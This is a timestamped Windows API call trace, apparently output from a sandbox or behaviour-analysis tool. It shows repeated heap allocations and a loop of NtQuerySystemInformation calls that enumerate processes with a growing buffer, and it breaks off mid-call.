[0193.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x431f97e0 [0193.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x4313a150 [0193.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x4313a150 [0193.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.972] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cf26600, Size=0x2048) returned 0x43034090 [0193.973] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43034090, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x43034090, ResultLength=0x0) returned 0xc0000004 [0193.974] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43034090, Size=0x306c) returned 0x42ef4090 [0193.975] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42ef4090, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x42ef4090, ResultLength=0x0) returned 0xc0000004 [0193.975] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42ef4090, Size=0x4090) returned 0x43074060 [0193.976] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.976] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x50b4) returned 0x43074060 [0193.976] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.977] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x60d8) returned 0x43074060 [0193.977] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.977] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x70fc) returned 0x43074060 [0193.978] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.978] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x8120) returned 0x43074060 [0193.978] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.979] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x9144) returned 0x43074060 [0193.979] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.979] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xa168) returned 0x43074060 [0193.980] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.980] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xb18c) returned 0x43074060 [0193.980] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.981] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xc1b0) returned 0x43074060 [0193.981] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.982] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xd1d4) returned 0x43074060 [0193.982] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.982] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xe1f8) returned 0x43074060 [0193.983] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.983] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xf21c) returned 0x43074060 [0193.983] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.984] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x10240) returned 0x43074060 [0193.984] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.985] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x11264) returned 0x43074060 [0193.985] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.985] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x12288) returned 0x43074060 [0193.986] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.987] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x132ac) returned 0x43074060 [0193.987] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.988] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x142d0) returned 0x43074060 [0193.988] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.989] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x152f4) returned 0x43074060 [0193.989] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.990] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x16318) returned 0x43074060 [0193.990] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.990] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1733c) returned 0x43074060 [0193.991] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.991] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x18360) returned 0x43074060 [0193.992] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.992] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x19384) returned 0x43074060 [0193.992] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.993] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1a3a8) returned 0x43074060 [0193.993] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.994] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1b3cc) returned 0x43074060 [0193.994] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.995] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1c3f0) returned 0x43074060 [0193.995] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.996] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1d414) returned 0x43074060 [0193.996] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.996] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1e438) returned 0x43074060 [0193.997] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.997] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1f45c) returned 0x43074060 [0193.998] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.998] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x20480) returned 0x43074060 [0193.999] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.999] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x214a4) returned 0x43074060 [0194.000] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0194.000] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x224c8) returned 0x43074060 [0194.001] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0194.001] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x234ec) returned 0x43074060 [0195.021] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.022] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x24510) returned 0x431fa6f0 [0195.030] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.033] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x25534) returned 0x431fa6f0 [0195.034] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.035] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x26558) returned 0x4321fc40 [0195.043] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4321fc40, Length=0x26558, ResultLength=0x0 | out: SystemInformation=0x4321fc40, ResultLength=0x0) returned 0xc0000004 [0195.044] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x4321fc40, Size=0x2757c) returned 0x432461a0 [0195.054] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x432461a0, Length=0x2757c, ResultLength=0x0 | out: SystemInformation=0x432461a0, ResultLength=0x0) returned 0xc0000004 [0195.054] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x432461a0, Size=0x285a0) returned 0x432461a0 [0195.055] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x432461a0, Length=0x285a0, ResultLength=0x0 | out: SystemInformation=0x432461a0, ResultLength=0x0) returned 0xc0000004 [0195.056] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x432461a0, Size=0x295c4) returned 0x431fa6f0 [0195.056] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x295c4, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.057] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2a5e8) returned 0x431fa6f0 [0195.057] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2a5e8, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.058] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2b60c) returned 0x431fa6f0 [0195.058] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2b60c, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.058] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2c630) returned 0x431fa6f0 [0195.059] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2c630, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.059] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2d654) returned 0x431fa6f0 [0195.060] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2d654, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0x0 [0195.158] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cf26600, Size=0x2048) returned 0x43034090 [0195.160] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43034090, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x43034090, ResultLength=0x0) returned 0xc0000004 [0195.160] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43034090, Size=0x306c) returned 0x42ef4090 [0195.161] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42ef4090, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x42ef4090, ResultLength=0x0) returned 0xc0000004 [0195.161] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42ef4090, Size=0x4090) returned 0x43074060 [0195.162] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.162] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x50b4) returned 0x43074060 [0195.162] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.162] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x60d8) returned 0x43074060 [0195.163] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.163] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x70fc) returned 0x43074060 [0195.163] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.164] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x8120) returned 0x43074060 [0195.164] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.164] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x9144) returned 0x43074060 [0195.165] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.165] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xa168) returned 0x43074060 [0195.165] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.166] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xb18c) returned 0x43074060 [0195.166] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.167] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xc1b0) returned 0x43074060 [0195.167] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.167] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xd1d4) returned 0x43074060 [0195.168] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.168] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xe1f8) returned 0x43074060 [0195.168] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.169] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xf21c) returned 0x43074060 [0195.169] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.169] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x10240) returned 0x43074060 [0195.170] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.170] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x11264) returned 0x43074060 [0195.170] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.171] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x12288) returned 0x43074060 [0195.172] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.172] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x132ac) returned 0x43074060 [0195.173] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.173] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x142d0) returned 0x43074060 [0195.173] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.174] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x152f4) returned 0x43074060 [0195.174] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.175] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x16318) returned 0x43074060 [0195.175] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.175] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1733c) returned 0x43074060 [0195.176] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.176] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x18360) returned 0x43074060 [0195.177] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.177] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x19384) returned 0x43074060 [0195.178] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.178] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1a3a8) returned 0x43074060 [0195.178] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.179] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1b3cc) returned 0x43074060 [0195.179] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.180] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1c3f0) returned 0x43074060 [0195.180] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.181] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1d414) returned 0x43074060 [0195.181] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.181] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1e438) returned 0x43074060 [0195.182] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.182] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1f45c) returned 0x43074060 [0195.183] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.183] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x20480) returned 0x43074060 [0195.184] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.184] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x214a4) returned 0x43074060 [0195.185] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.185] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x224c8) returned 0x43074060 [0195.185] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.186] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x234ec) returned 0x43074060 [0195.186] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.187] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x24510) returned 0x431fa6f0 [0195.188] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.189] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x25534) returned 0x431fa6f0 [0195.189] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.190] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x26558) returned 0x431fa6f0 [0195.191] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x26558, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.191] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2757c) returned 0x431fa6f0 [0195.192] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2757c, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.192] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x285a0) returned 0x431fa6f0 [0195.193] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x285a0, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.193] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x295c4) returned 0x431fa6f0 [0195.194] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x295c4, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.194] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2a5e8) returned 0x431fa6f0 [0195.194] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2a5e8, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.195] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2b60c) returned 0x431fa6f0 [0195.195] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2b60c, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.196] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2c630) returned 0x431fa6f0 [0195.196] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2c630, 